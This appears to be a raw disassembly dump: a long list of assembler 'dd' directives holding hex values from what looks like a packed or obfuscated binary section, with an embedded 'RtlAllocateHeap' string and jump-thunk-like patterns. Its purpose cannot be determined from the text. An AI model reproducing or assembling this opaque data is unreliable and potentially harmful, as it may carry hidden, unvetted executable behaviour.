		dd 15668836h, 1562ADB3h, 19E12232h, 11EF4D16h, 156A6116h
		dd 92EE4432h, 0E2831594h, 0A7F4E9A2h, 0FCCDA5D5h, 15664434h
		dd 0D226F1A5h, 0A8EBDD05h, 134DAD8Fh, 156648DBh, 2DF58532h
		dd 4045AF40h, 4D3B22B6h, 1A06E929h, 156636B5h, 1569F832h
		dd 4B058832h, 0AACD71ADh, 5D774A1Fh, 0B450FD6Bh, 0E9830824h
		dd 6C6F6953h, 51656603h, 0AA313916h, 71CD7F1h, 44A9C57Dh
		dd 0D42FAB5Eh, 0FAE719DDh, 55699D03h, 1C638BB3h, 0E2E764A9h
		dd 97888774h, 75397033h, 37212C8Ah, 9FD94419h, 0FCCD7006h
		dd 15668823h, 31F4C6E8h, 0F5504FE0h, 0FD412C3Ch, 140BF7A8h
		dd 3152CFAFh, 9484AB60h, 156615F0h, 11A40932h, 92664432h
		dd 753A0626h, 742FF5B2h, 9269E8F1h, 15664432h, 7497953Dh
		dd 94819865h, 15668CF5h, 1189C732h, 49421EB5h, 0FC4225BBh
		dd 15668839h, 7FA3C06Ch, 0B4F7536Eh, 9893286Dh,	24D240AFh
		dd 0CE84B34h, 0FC662232h, 15661126h, 22EB9190h,	6F48E6C0h
		dd 62F7D03h, 76D95076h,	0F0C2E20Fh, 1B8F97CDh, 63662232h
		dd 6DF3567Eh, 5D2A795Dh, 0FB84B1B8h, 0E845CBB2h, 7306EECDh
		dd 985A49B3h, 4ECEDF53h, 4AA86CD2h, 0A2458AFDh,	0C0D5F251h
		dd 0A477C5CFh, 2AA8ED96h, 29458A15h, 57DFA024h,	91792619h
		dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h,	2A492C5Eh
		dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh,	0FA798A15h
		dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 25CE2559h
		dd 0F143B85Eh, 61B232DCh, 71BA8C27h, 0C3A8EDD8h, 0A2458A42h
		dd 0D558DDAEh, 38C88260h, 2C66E34Eh, 44DF0746h,	0D5529A1Ah
		dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 900EA18Fh
		dd 0B0D9FB57h, 0A477C1F3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h
		dd 0AA307519h, 616332DCh, 2F168C27h, 181F4ECBh,	2B967513h
		dd 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h
		dd 2CE99D8Dh, 0B8062Bh,	89000013h, 2B1FD185h, 0E806h, 5580000h
		dd 0Dh,	0E90389h, 13h, 37h dup(0)
		dd 5E98300h, 0CB8BA4F3h, 54373D03h, 0CEB13256h,	0D6D76D00h
		dd 0CA3925B1h, 3D4DDEDDh, 0EAB13256h, 7E5BB30Ch, 0DAB703B2h
		dd 3BD153AFh, 0A159E1DDh, 0BB13256h, 1D5E0297h,	0D2A90D7h
		dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB48D911h
		dd 0F53FD525h, 9935ADFDh, 34229147h, 0AC7ACFB7h, 0AD29B723h
		dd 0FD7A1A20h, 7C277975h, 0CF1F3998h, 2BFFA073h, 5E98316h
		dd 0DB8BA4F3h, 9905BD8Dh, 8D8D0632h, 6331CF5h, 156644B8h
		dd 0C1CF2B32h, 73102E9h, 0C783C8D0h, 0F6754904h, 7E9h
		dd 4F810D00h, 155461BFh, 81666060h, 562B7EF0h, 0F61615Ah
		dd 138Dh, 0D8B0F00h, 0E9000000h, 8, 0EB2E158Ch,	0C5E8B8C7h
		dd 4EC81h, 4890000h, 860F5824h,	15h, 0F800Fh, 0AE90000h
		dd 0C3000000h, 98E1694h, 0E383F99Bh, 0F9BD8317h, 62B01h
		dd 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h,	411h, 34798589h
		dd 9D8D062Bh, 62DBFDCh,	585BD3FFh, 1689BD83h, 7400062Bh
		dd 0B8535017h, 411h, 34798589h,	9D8D062Bh, 62DBC7Dh, 585BD3FFh
		dd 11E9FCh, 28440000h, 28C2A3E7h, 441502E5h, 0FDAE0E53h
		dd 8330B172h, 48904ECh,	0FE95824h, 2B000000h, 0A8C4EA74h
		dd 0FF82A9B9h, 0FAE55012h, 8DF8D2F5h, 3321298Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 87D913ACh, 9E4D5EE1h, 0E9BE60F8h, 89182C98h,	2B0EE18Dh
		dd 0DE906h, 1CCB0000h, 7840FEF8h, 0FB67C770h, 0C726C680h
		dd 2B21E185h, 638806h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 378BC87Ah, 0A74EC530h
		dd 2352D3D0h, 2B20959Dh, 85C75F06h, 62B2BE5h, 0
		dd 15BCBE66h, 1D15B5FFh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 169075C3h, 8B9AF532h
		dd 2B1C4585h, 3195FF06h, 6A062B27h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BF9FC355h
		dd 2DEF301h, 2AAD9D8Bh,	6A062Bh, 294595FFh, 0C08B062Bh
		dd 0D11E0FEBh, 0E6C2A9F9h, 0A139F3A3h, 0FC0DDF77h, 0EDE9A0h
		dd 66600000h, 4A8D88Ch,	0DF840Fh, 0B58B0000h, 62B02C5h
		dd 0F00FE83h, 2285h, 2D85C600h,	45062B33h, 72696968h, 1DB5FF8Eh
		dd 8D062B0Bh, 2E83EB85h, 89D0FF06h, 2B0EA185h, 80F08B06h
		dd 850FE93Eh, 31h, 0A09A858Dh, 0D0FF0630h, 260DBD8Bh, 0C781062Bh
		dd 1184h, 2C5B58Bh, 0F787062Bh,	8B9h, 8BA4F300h, 2B02C5B5h
		dd 8E858D06h, 0FF062F41h, 51B58BD0h, 83062B2Bh,	850F00FEh
		dd 22h,	332D85C6h, 6854062Bh, 0FF4EBEF4h, 0B1DB5FFh, 858D062Bh
		dd 62E83EBh, 8589D0FFh,	62B2B51h, 3E80F08Bh, 3A850FE9h
		dd 8B000000h, 2B2B51B5h, 9A858D06h, 0FF0630A0h,	0DBD8BD0h
		dd 81062B26h, 1184C7h, 8C78300h, 2B51B58Bh, 0F787062Bh
		dd 8B9h, 8BA4F300h, 2B2B51B5h, 8E858D06h, 0FF062F41h, 8DC361D0h
		dd 33214285h, 0D858906h, 0E9062B12h, 39h, 6F06FFB8h, 0Dh dup(0)
		dd 49AE900h, 85680000h,	0E9063323h, 0FFF85D30h,	3323E668h
		dd 5D26E906h, 4D68FFF8h, 0E9063325h, 0FFF85D1Ch, 8804401Dh
		dd 0D8D4E86Fh, 6BA799BFh, 0B773550Ch, 0C03C0658h, 159C2B5h
		dd 0B6A4C33Fh, 62F7108Ch, 345A25Eh, 1C33E925h, 0D8E27EF0h
		dd 0B6151392h, 7A6C99DBh, 73BE586Dh, 0D4F23B57h, 4E7D981h
		dd 1F0A4A49h, 0EBC07FF1h, 0F00C1294h, 486EE639h, 0E7C1801Fh
		dd 81F17826h, 98D5E36Ch, 0EF8AC6D8h, 0A6349873h, 0EC6D3F37h
		dd 29457155h, 0DD776BD1h, 2F1h,	28160772h, 8EE9C05Ch, 535AF6C8h
		dd 56B54E37h, 855E5AE6h, 0EBEC1AECh, 51F4004Fh,	0F48AC614h
		dd 0E3BEAD6Ah, 0DC62497Bh, 0DF9EA32Dh, 0FE9D6BD5h, 0EAF66147h
		dd 68843E40h, 73E42535h, 0D261EE03h, 3EB73947h,	54CA6884h
		dd 2B8A3B55h, 0BDDD76A9h, 608DFD6Eh, 7764E9F7h,	71B7C82h
		dd 0A4E4DD8h, 0AAAAF534h, 7DF7108Ch, 0EF56295Bh, 0FC2F53E8h
		dd 2EF55h, 6D570400h, 3D0356B1h, 8CB2A6C1h, 587CF710h
		dd 251F435Ch, 40DD9CE9h, 8FE8241Eh, 0DE39F5CFh,	2C4B4779h
		dd 0C4961234h, 0E3971927h, 6EEA92D8h, 0D21F6F4Ah, 0FE357785h
		dd 0D6488ADEh, 0A6381A89h, 0AFD13E32h, 0A2B4D37Eh, 5F031C98h
		dd 0BD4A8665h, 4C6D2770h, 9803214h, 8C4A35F7h, 28EF45Fh
		dd 0F6670000h, 0A2B9D6D2h, 530966A2h, 1F56B16Dh, 0BCA2FD39h
		dd 3CE30E8Ah, 985BFA3h,	5E5A6CEEh, 0E8241841h, 37F3D58Fh
		dd 30BAC665h, 4592D8E3h, 1F6FEBCFh, 357785D2h, 248ADEFEh
		dd 0DAD3F569h, 69E4C75Bh, 2611372Ah, 207582D7h,	0F08009A8h
		dd 6D275B62h, 9350928h,	7763785Dh, 1BC01h, 0E271CD00h
		dd 0EBC054D6h, 75C1A594h, 3A01D181h, 515059C1h,	77DA3117h
		dd 7B52DCE8h, 3B2794EBh, 93B5AFF2h, 0F2815944h,	0A6BC95C9h
		dd 5FAC90C9h, 1514CAC3h, 3ED78BA5h, 271C4B3Eh, 0B912AE42h
		dd 0FDE48692h, 819994EBh, 729EC965h, 8AC6E3EFh,	6EECAB86h
		dd 0FBE08A54h, 85956D3Eh, 0C0CF8269h, 0BE53B695h, 3A5657E7h
		dd 6D3E41ACh, 0EE3D1B5Dh, 11FACE93h, 8D21E55Eh,	475BF7D1h
		dd 0D29CCABEh, 8A776C5Eh, 2Ch, 0D21F6F54h, 6F510685h, 890493BEh
		dd 31FECD0h, 0EAE3068Ah, 0FC628AC6h, 2913A12Fh,	0D8596D3Fh
		dd 0C2BCB6E4h, 9860776Bh, 62000000h, 0AE1C781h,	3299A3B7h
		dd 785375EFh, 89052325h, 0EBDB171Fh, 84A2A294h,	22043C5Bh
		dd 0F47682C9h, 896B143Bh, 0CEB47591h, 5582EF5Fh, 26F8DB47h
		dd 0FB64FA75h, 5780BA9Ch, 63F02538h, 32AE1955h,	46D8334Fh
		dd 0DA7C9B47h, 0DCE152E0h, 83504A2Fh, 127C8h, 0B58FCC00h
		dd 53B1E79h, 0D4EA6E89h, 0A084BFD8h, 6D570B64h,	89544B1h
		dd 57B06C56h, 0A6C13D07h, 0F4138FB1h, 0FC5E5A7Ch, 0E5AF416Fh
		dd 0A6A292D8h, 0E7D98182h, 0B294CC2Bh, 0FA357625h, 0E900641Fh
		dd 715E4220h, 8F7E4812h, 4D15F070h, 174D907Bh, 92799531h
		dd 0F733154Fh, 0D2B2D68h, 0F869A0BEh, 90B2A888h, 415CEB74h
		dd 0ADBB2418h, 94EBC003h, 0AF21E876h, 8AC692A2h, 87024DCDh
		dd 222DE9D3h, 71E78997h, 849A6D3Fh, 71FD8B05h, 540C6D3Fh
		dd 3596B6B1h, 435E8925h, 0BFC3281Ch, 716A0410h,	31F6D3Fh
		dd 0A7BBD48Ah, 84034E9Dh, 143FEED0h, 74h, 6D027102h, 313437CBh
		dd 0D4EA6EC9h, 0B1A26BF7h, 95A32C41h, 8ADEDEC7h, 0ECAB342Ah
		dd 0C4575668h, 5CEEFA89h, 316D273Eh, 304C6AEAh,	88AEA6F9h
		dd 9471F30Ch, 0D2DFEC0h, 43B61AF1h, 48141DD9h, 6DE7CBBFh
		dd 0DD811C4Bh, 8F7E00EBh, 9ABCB4D3h, 30164E4Dh,	9CD72AF9h
		dd 0BCA153B8h, 4462E2C8h, 13352F48h, 0A91B8h, 5E810000h
		dd 0FACC92F1h, 0FA800911h, 3E8DC81h, 49A284BCh,	705B6DF2h
		dd 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h, 97744A0Eh
		dd 0D8331548h, 4EC8308h, 89241489h, 4C281E2h, 83000000h
		dd 148704EAh, 52685C24h, 89000071h, 27682434h, 89000073h
		dd 0EC81243Ch, 4, 0B8240489h, 5B42A69h,	8708F5BEh, 58C63103h
		dd 243C8B54h, 5004C483h, 8B8h, 52F80100h, 0BAh,	89C20100h
		dd 0FF585A32h, 835F2434h, 348B04C4h, 0E0895024h, 405h
		dd 40500h, 4870000h, 0A9E95C24h, 0F5FFF858h, 0B8DD3344h
		dd 4B9000FEh, 332699B8h, 0FFC50306h, 4A07EBE0h,	0CCDAC039h
		dd 5F483100h, 0BE09252Ah, 0E4FF7731h, 6F3D031Ah, 0EDB2D079h
		dd 47B61F4Dh, 3310262Ch, 0F02E934h, 0E74E1A62h,	5B501767h
		dd 812B352Ah, 1C0BB37Ch, 0DB403261h, 53FB018h, 6E843h
		dd 0FAA40000h, 545A0F9Eh, 10E9h, 41575E00h, 815138C8h
		dd 839B0BABh, 4DFA0D45h, 0B70F5B82h, 27C381D6h,	8000005Bh
		dd 0BE7FC6h, 60000000h,	13E9h, 7FA6BF00h, 6ED57299h, 1ED247C3h
		dd 0B1C2E2C1h, 0A7E4F3E0h, 61DFBF0Fh, 0E91E34FFh, 6, 325BC362h
		dd 66588908h, 0EB4EE981h, 757EE881h, 0E9800004h, 0F0E88156h
		dd 0F3AFA03h, 0F081C9BFh, 7782D6DFh, 0AE9h, 562FB600h
		dd 0C2303E6Eh, 8931FDE7h, 7CB23304h, 0EE83A8B1h, 81616004h
		dd 0FFA5BCFEh, 1C850FFFh, 66000000h, 4298D981h,	40E9h
		dd 0EB65BA00h, 9D83B334h, 0DBF164AFh, 2009E5E9h, 0E84F58A1h
		dd 11h,	0CD1320CBh, 5848DA32h, 0C4D8B71Ch, 560CB026h, 8A0F533Dh
		dd 0
		dd 6DE95A5Ah, 0D8FFFFFFh, 983BCDF2h, 0DC2F1C30h, 138D8D36h
		dd 89063329h, 2B1935B5h, 0E18D8906h, 6A062B0Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0C9EC357h, 9D89A844h, 62B28A9h, 2BA9B58Bh, 85C7062Bh
		dd 62B21E1h, 6AD4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 91C35141h, 481403Dh, 0AE974h,	46CE0000h
		dd 1A98625h, 5B2AFB81h,	0E585C7F9h, 62B2Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0EC3AC357h, 0D4807909h, 0B6FDCD74h, 15B5FF3Ch
		dd 29062B1Dh, 2B0FF185h, 3195FF06h, 0B8062B27h,	4151E403h
		dd 95FF006Ah, 62B2945h,	0FEBC08Bh, 6B534FE5h, 0CB39ED64h
		dd 39444B1Fh, 0E99AC61Ch, 38h, 79FD9168h, 416C7452h, 636F6C6Ch
		dd 48657461h, 706165h, 140000h,	8 dup(0)
		dd 115BE9h, 2B8A6800h, 45E90633h, 68FFF856h, 6332CD7h
		dd 0F8563BE9h, 2F0A68FFh, 31E90633h, 68FFF856h,	6332FDBh
		dd 0F85627E9h, 337568FFh, 1DE90633h, 68FFF856h,	6333405h
		dd 0F85613E9h, 344468FFh, 9E90633h, 68FFF856h, 6333563h
		dd 0F855FFE9h, 35FC68FFh, 0F5E90633h, 68FFF855h, 6333661h
		dd 0F855EBE9h, 381B68FFh, 0E1E90633h, 68FFF855h, 633391Eh
		dd 0F855D7E9h, 0C9FB60FFh, 99AFB2CDh, 685E021Dh, 341053ACh
		dd 81BB9FF8h, 9C39F805h, 0EB0480BAh, 3A555173h,	88E72325h
		dd 6832EEC8h, 0E93BB5C3h, 0CA4E92D8h, 0E1C781F6h, 9BBDB70Ah
		dd 5074ED30h, 6E5B9807h, 2ADF911h, 308F88Bh, 29C66874h
		dd 0A7BB94EBh, 0A509FD66h, 254D56A3h, 0EF587CF7h, 3C34A02Eh
		dd 0DA9B11Ah, 0B11A2C32h, 0D7C20DA9h, 50276807h, 76480E40h
		dd 106FD3DAh, 5FB8744Eh, 95E8C3E5h, 3039F5D3h, 9924B3C0h
		dd 0B34CFE0Ah, 0DB9D94EBh, 0E9203EFDh, 0C6AD52E7h, 0A22D2D8Ah
		dd 6E7A73E7h, 6D3EB1DCh, 0BE0DA9B1h, 872937A0h,	0FA6D3EB1h
		dd 7BD6A564h, 0B12EC0ECh, 3F236D3Eh, 0B134C2CEh, 0C77E6D3Eh
		dd 4E9BD703h, 4743776Ch, 8F000000h, 54D6E271h, 2994EBC0h
		dd 0E425E6E2h, 2642A7D3h, 0E90676E7h, 775F527Eh, 0EB368AC6h
		dd 0E47A5173h, 0DF6D6348h, 956D3E47h, 2FC1EF7Ah, 226D3E47h
		dd 7054CD3Ch, 0B789CFCAh, 0C4C3CA54h, 776C60AAh, 0FA52h
		dd 0C7817C00h, 0A2093F22h, 54AB009Ch, 7CD33802h, 0F60E9C31h
		dd 68A1D690h, 92795F19h, 0F733154Fh, 0EB5A3AE9h, 0F95E3D94h
		dd 535AE4C7h, 0F632144Ch, 263ADF99h, 1BB7CB20h,	3E3383B0h
		dd 99768391h, 6758AC6h,	7BED279Fh, 961594FBh, 0AD1D0C88h
		dd 56D8E473h, 2B6D3EF6h, 0F6872937h, 64FA6D3Eh,	6C719FC8h
		dd 6F730C37h, 3F182A30h, 6E52418h, 8DD0CF18h, 71CE50BBh
		dd 3FD2DBEDh, 3017FE60h, 83091EDEh, 67807C98h, 0CFBBC9F3h
		dd 90505B6Fh, 0E840843h, 520B0000h, 65DBA76h, 0B7ADCAC6h
		dd 7BFA1591h, 1046A15Dh, 0D087F22Eh, 0ED291347h, 2FEC892h
		dd 4C487CE5h, 9B173133h, 6C1E2AC1h, 0E192D8EBh,	2714F63h
		dd 3F720838h, 526AEDB4h, 4445E179h, 0E723253Dh,	0D3441D78h
		dd 167CB4D6h, 48A33FFBh, 0A8A8F736h, 9605128Eh,	71993AB3h
		dd 0A3BD8A0Ah, 795A9FA5h, 6FC4C2CBh, 0F685D21Fh, 17292C6Bh
		dd 0EBC0A749h, 4544DA94h, 0C6EA264Bh, 5C02598Ah, 0BECA816Ah
		dd 6D3F2A0Ch, 21BDD941h, 7384DBB6h, 3F2ACB65h, 4A0BE6Dh
		dd 83129BA7h, 1772C1CCh, 0A7D32E08h, 2ADC6A66h,	2A2D6D3Fh
		dd 0FF62B912h, 320BE2C9h, 0FE079B4Eh, 0C392DC0Ah, 0CC4A776Bh
		dd 1F000000h, 26CA6470h, 21336D3Fh, 7D25992h, 651D50ABh
		dd 24194529h, 7B1F8E2Ah, 0AE1C781h, 4E99A3B7h, 0F33A0E53h
		dd 0DB7FAC20h, 560E94EBh, 4C58E770h, 6B143BA2h,	0C26C78D7h
		dd 0B76B143Bh, 209E0FABh, 129CA837h, 676B143Bh,	75EF32FBh
		dd 7BCB7853h, 3F5AE976h, 84CB2004h, 143BF678h, 7B978B6Bh
		dd 1EF31EB2h, 3F627539h, 985211Bh, 1443B000h, 0DDB8608h
		dd 38A7BB73h, 0C7C3055Dh, 668CB6A8h, 505B8B96h,	37BF9645h
		dd 5600000Dh, 0A8C7C305h, 0F81793B5h, 49A66264h, 95F22E0Eh
		dd 0F23FFBCDh, 0FACC920Fh, 4B7DE13Eh, 152F304Fh, 0E0C67E99h
		dd 0CBD97624h, 92D8EC21h, 81F8D054h, 944E34D9h,	0C1783C24h
		dd 560E69A5h, 8120B470h, 0A3C22C7h, 0AE7D99A1h,	4872E4A3h
		dd 20063E41h, 0C06CFAE4h, 0DB9D94EBh, 6EE601FDh, 0C0801F48h
		dd 0B47505E6h, 0FCDA9AE1h, 0A367DC2Fh, 0B773550Fh, 96DA4620h
		dd 0CEFE7Dh, 6FD80000h,	7785D21Fh, 8AC6D5EEh, 55A8AEEDh
		dd 0D4A33F09h, 1437F339h, 0BD60A9BBh, 1D57329Dh, 0AD23F23Bh
		dd 6D3F761Fh, 22D8AC55h, 0C0C9F367h, 6B93ADB9h,	965177h
		dd 717D0000h, 0B0794F12h, 0EBC07100h, 11057094h, 260641AEh
		dd 67B6B659h, 2845B5A6h, 39B891BFh, 2CBB8AC6h, 0F7D4E871h
		dd 1CF37D6Bh, 5B866D3Eh, 50EE3D07h, 3C185B34h, 0F4302ECDh
		dd 0EE2EC79Bh, 0E27B4CB1h, 0D09D6E8Ah, 0B8C41360h, 7313E701h
		dd 1597A530h, 0F4674237h, 0EE705B7Dh, 199C0D0Dh, 0F56A8501h
		dd 0FB4BF8D3h, 4FDA69F6h, 42378F21h, 0AD5CC267h, 6F1E9A23h
		dd 5E028179h, 20A34D5Bh, 48D67995h, 203EFD2Ch, 1F2FC8B7h
		dd 0C94F3F5h, 0DD32219Dh, 24000008h, 85D21F6Fh,	0C6D97E77h
		dd 0A209118Ah, 3F39802Eh, 572BCA6Dh, 6BD73F2Bh,	17E777h
		dd 71E30000h, 1D7A4C12h, 97AB0044h, 0C0EC7A16h,	75DE94EBh
		dd 0FFFFFBBDh, 0D21F6F6Dh, 0F15E7785h, 69F18AC6h, 42C0CF82h
		dd 0A1961858h, 74028E7Fh, 3E6D3F93h, 5B174307h,	79776B30h
		dd 9B2CDEEAh, 0E1AD6D3Fh, 0BCAA8192h, 956C833h,	3F3471FBh
		dd 931A046Dh, 51006h, 0C24EC000h, 6BF4F949h, 0C68DF85Dh
		dd 0B1A4E38Ah, 0EB223C8Fh, 0CAC91608h, 8679B096h, 7442ED1Ah
		dd 0DE0272D7h, 0E45D38B2h, 0B1CD4DC4h, 0AED97B26h, 62469991h
		dd 7A19A4ABh, 730FDCFAh, 0DAEF16BAh, 1806DAC9h,	3D3282B3h
		dd 7F8D8692h, 0B1ECC33Eh, 971697A9h, 7415C8Bh, 0D48B7EE2h
		dd 0FC3854F0h, 18223453h, 237EAFB3h, 29FD0721h,	0C2004D0Fh
		dd 0B043E11h, 0D28B0000h, 86DD3AF6h, 372D4A46h,	0FB7A9511h
		dd 90C621DDh, 500772AEh, 6DA993C7h, 827E4812h, 0CCC8FC65h
		dd 1B97B1B3h, 0EC9EAA41h, 6192D8EFh, 0C781CFE3h, 0E9590AE1h
		dd 0CC4D5B84h, 0AF8AC6F5h, 73586AF0h, 0E37F3EEFh, 0B7AAE974h
		dd 0E5243A91h, 783C59Ah, 5A9E77E8h, 0DCA210ACh,	97A9AC8Bh
		dd 418E2A34h, 0E5240242h, 0C730BA16h, 1AA86D3Fh, 56D3FD7h
		dd 12FB8B5h, 731579E4h,	0B814F76Bh, 6743042Ah, 0C1EDD160h
		dd 713F9DA5h, 2159h, 1F6F8500h,	9A7785D2h, 0B58AC6E7h
		dd 9C0B46A5h, 94CA92B4h, 7EE2BDA4h, 2EDF6348h, 1327h, 1F6F1300h
		dd 9BF685D2h, 850B82C6h, 8AC6D8ECh, 0AA2CFF63h,	53E1C781h
		dd 4402ADD5h, 33C6895Ah, 5A00000Ah, 0ACCBC701h,	0FC1B97A9h
		dd 4DAA6658h, 99F6320Ah, 0F603FFC1h, 0FEC09603h, 4F79E502h
		dd 19233453h, 0E4C2829Dh, 0CFDD7228h, 92D8EF3Dh, 6FFCD450h
		dd 0F685D21Fh, 0DFCD89Bh, 0C6EFDA83h, 1EED6D8Ah, 6BA781C3h
		dd 0F2696C7Dh, 0ED027155h, 9332762h, 9EC39CA2h,	0F03941AAh
		dd 46AB1B12h, 6D660B19h, 0E675584Fh, 0B56D50DAh, 0F4352558h
		dd 7FC22931h, 2128E4D8h, 0A4339CD1h, 795272E9h,	8DA828E1h
		dd 0AC469823h, 0B0E6BAE1h, 0B8216FBh, 0B715F668h, 52D80F29h
		dd 93C9C463h, 0C9C05EADh, 343E6C50h, 0E843CAADh, 18Bh
		dd 521271EAh, 28B9774h,	34CA111h, 0C6EF48F5h, 0A8031F8Ah
		dd 4D73E6A5h, 6977E07Eh, 6D3F2FC7h, 1A65A4BAh, 0B4D37C5Ah
		dd 0AF139ABCh, 650715A0h, 846D3F2Fh, 120CEFD1h,	0D9CC849Bh
		dd 3F2F21CBh, 0AECA546Dh, 69628F5Dh, 0D69155F2h, 92C615F6h
		dd 570C5FACh, 1C15FC73h, 0E4C28228h, 13B1C7Bh, 4E4DDA88h
		dd 74DB3016h, 6275C668h, 0BA7BB46h, 30C57F82h, 0FB1AF95Ch
		dd 2DFE1AA6h, 0C4E0633Eh, 3E525BE7h, 7EAF5813h,	0B0F6CA73h
		dd 0FD1A96B0h, 0DD8E5D7Bh, 0BCDB0471h, 0EA65A49Eh, 0D5640CDEh
		dd 9D19013Fh, 88D71C6Ch, 8ABC9EFDh, 0D56452DCh,	0F23B273Fh
		dd 46EC315Fh, 206F21F8h, 4F9B99BDh, 0B9027FBAh,	11A02413h
		dd 71E98C7Dh, 59C8B79Ah, 3DA537FCh, 0B0B0CF3Eh,	7BFD1A96h
		dd 90428E5Dh
		dd 2931F8F7h, 35DBDE33h, 831F7A91h, 25398467h, 25D8C823h
		dd 191C8E61h, 32C78125h, 7059841Bh, 29E501B0h, 2C9CAFBFh
		dd 0E65D4BCh, 7D98C2C1h, 3827985Bh, 42A9C5F0h, 0F611CD3Ch
		dd 5D73587Eh, 3B9DFA83h, 0B86153Ch, 809E6D57h, 9D1D54D6h
		dd 5631293Eh, 52CBC204h, 0CD38386Eh, 432D515Dh,	74B0CC02h
		dd 0D07F591Bh, 0D19EAEB5h, 0DD712BD9h, 0CC5F4ECFh, 0CB112F9Fh
		dd 0F8DC97E4h, 1E200F13h, 0C5BF766h, 24C6D261h,	0D53E9D9Dh
		dd 768B22AFh, 81DC1FDCh, 4049E5DBh, 0B0CAD530h,	61F99420h
		dd 53CFAE5Fh, 7ACC57h, 71AA0000h, 97745212h, 0A111028Bh
		dd 974034Ch, 5080FCEAh,	444CBDCCh, 8AC61FC5h, 9A0956C8h
		dd 3305E32h, 0D0A36A28h, 9FB10E7Dh, 2C31FF93h, 89BFA2FDh
		dd 0F4FD535Eh, 0E81597A5h, 0F6686D3Eh, 0EB233789h, 3E9F53DDh
		dd 9C38266Dh, 4946B16Dh, 0C98CFB9Fh, 0F8DC9753h, 5D1F058Fh
		dd 3E22BD4Fh, 324ED06Dh, 32FE4AFBh, 50FF1B2Dh, 3E22A244h
		dd 2CBBA76Dh, 0F0DBED71h, 7F63BF6Eh, 25E1C781h,	309FD424h
		dd 0C6DE2924h, 95C25C8Ah, 54D076E6h, 0BF98D805h, 0E968A19Bh
		dd 1793B5AAh, 8E5D67F8h, 0D7006DDDh, 5055D48h, 6E3AE425h
		dd 6FD84B49h, 0BB72EFA1h, 1214F415h, 0A4071B73h, 0FEDAFAA9h
		dd 26B23C48h, 5BC76742h, 16350FECh, 8C31BBC9h, 0DA446742h
		dd 9C2FBDD3h, 0C0306742h, 1D1824B3h, 70796FB2h,	21CF1DEEh
		dd 0D07995CAh, 0A51BA8Ch, 0F5997254h, 3DE1887Ch, 48088712h
		dd 0CACE606Eh, 0C1EF7995h, 7995CA2Fh, 63FF3C22h, 0A1CDB1AAh
		dd 6B14E3C5h, 2279h, 1F6F6500h,	9BF685D2h, 212CFFD9h, 0EBC09913h
		dd 0D672EC94h, 0E758B9D7h, 0EB778AC6h, 204900h,	6F290000h
		dd 0F685D21Fh, 0EBC040EAh, 0BA253594h, 0EBC01CAEh, 20E97194h
		dd 0D86E0311h, 79E18AC6h, 0C7813492h, 0ADDF53E1h, 83504402h
		dd 699C8h, 5D67F400h, 2D1346A1h, 0FCC296F1h, 486CE700h
		dd 152F334Ch, 30AD6C99h, 7F98142Eh, 0CE29E5DFh,	1C7BB789h
		dd 0D4860224h, 0F3872937h, 7EFA92D8h, 8E02715Ah, 4C1E2C6Ah
		dd 591426E7h, 0F25D92E2h, 0C6346FE6h, 0BF78E68Ah, 0F7A35F11h
		dd 370C0AEh, 7E1DC8D4h,	0ED30BD48h, 0E6785375h,	0AA6E1D4Ah
		dd 0D5A9A06Dh, 75E6B574h, 517FE805h, 0BBA58BFCh, 45408F93h
		dd 8EE92503h, 90C4C3D6h, 130EA0AEh, 0DF43BFDCh,	0DA8B3143h
		dd 0FB2818CAh, 60950h, 0EDD78400h, 0BD83D631h, 0C322641h
		dd 0D8FC7790h, 0A59FC3DCh, 0C05D1C69h, 0F68A49Eh, 5EB9754Fh
		dd 0ACCBC7F9h, 441692B4h, 0F41799A7h, 0EE6A92D8h, 0E1C781CAh
		dd 2ADF353h, 0A4AF7C44h, 5CAh, 70AC98C5h, 807C4017h, 0D3CFF167h
		dd 1F9BBDB4h, 0A8645E00h, 59019A5Dh, 0E4CAB67h,	0BA9FF834h
		dd 6BED0A86h, 648B514Dh, 0D8F4D658h, 95ADAB92h,	0AE1C781h
		dd 0FD084847h, 0B27C418Eh, 0C6C76330h, 0ADBBE555h, 94EB1403h
		dd 34CE876h, 21E8D284h,	23B4022Eh, 41D98ADEh, 7F74C445h
		dd 7C35C4D0h, 0F558730Bh, 496045E7h, 8A263867h,	601DAB21h
		dd 75EC6749h, 3E257853h, 0ADBD9DDDh, 67832CF2h,	92768F84h
		dd 463A3BDFh, 39B54E18h, 0D3E18C71h, 67491F59h,	2EFB322Ch
		dd 0C2h, 57B44EA8h, 331549E7h, 0CC5D4897h, 0EE8762Eh, 0E2718009h
		dd 3C8FB1A7h, 60E5EB22h, 0E78AC67Bh, 4BA0A2B8h,	701C9B37h
		dd 0BA372CC8h, 0F6D08A09h, 0B9B60637h, 0E8F4832Eh, 0BE257046h
		dd 0EAE6273Bh, 0A008543Bh, 3A2F1F52h, 0D8D3FA4Fh, 0B7984AB2h
		dd 0A6C25EDBh, 4BA81845h, 0EBDD811Ch, 808F7E00h, 79DB9374h
		dd 3FA8B6AEh, 99C6E060h, 0A0A366FAh, 0FDA16884h, 7E84A2A2h
		dd 258DAADAh, 0AB8BC211h, 0E2000004h, 34534F79h, 84E31F21h
		dd 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh, 0D7F16D8Ah
		dd 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92D8F5B5h,	71744CC8h
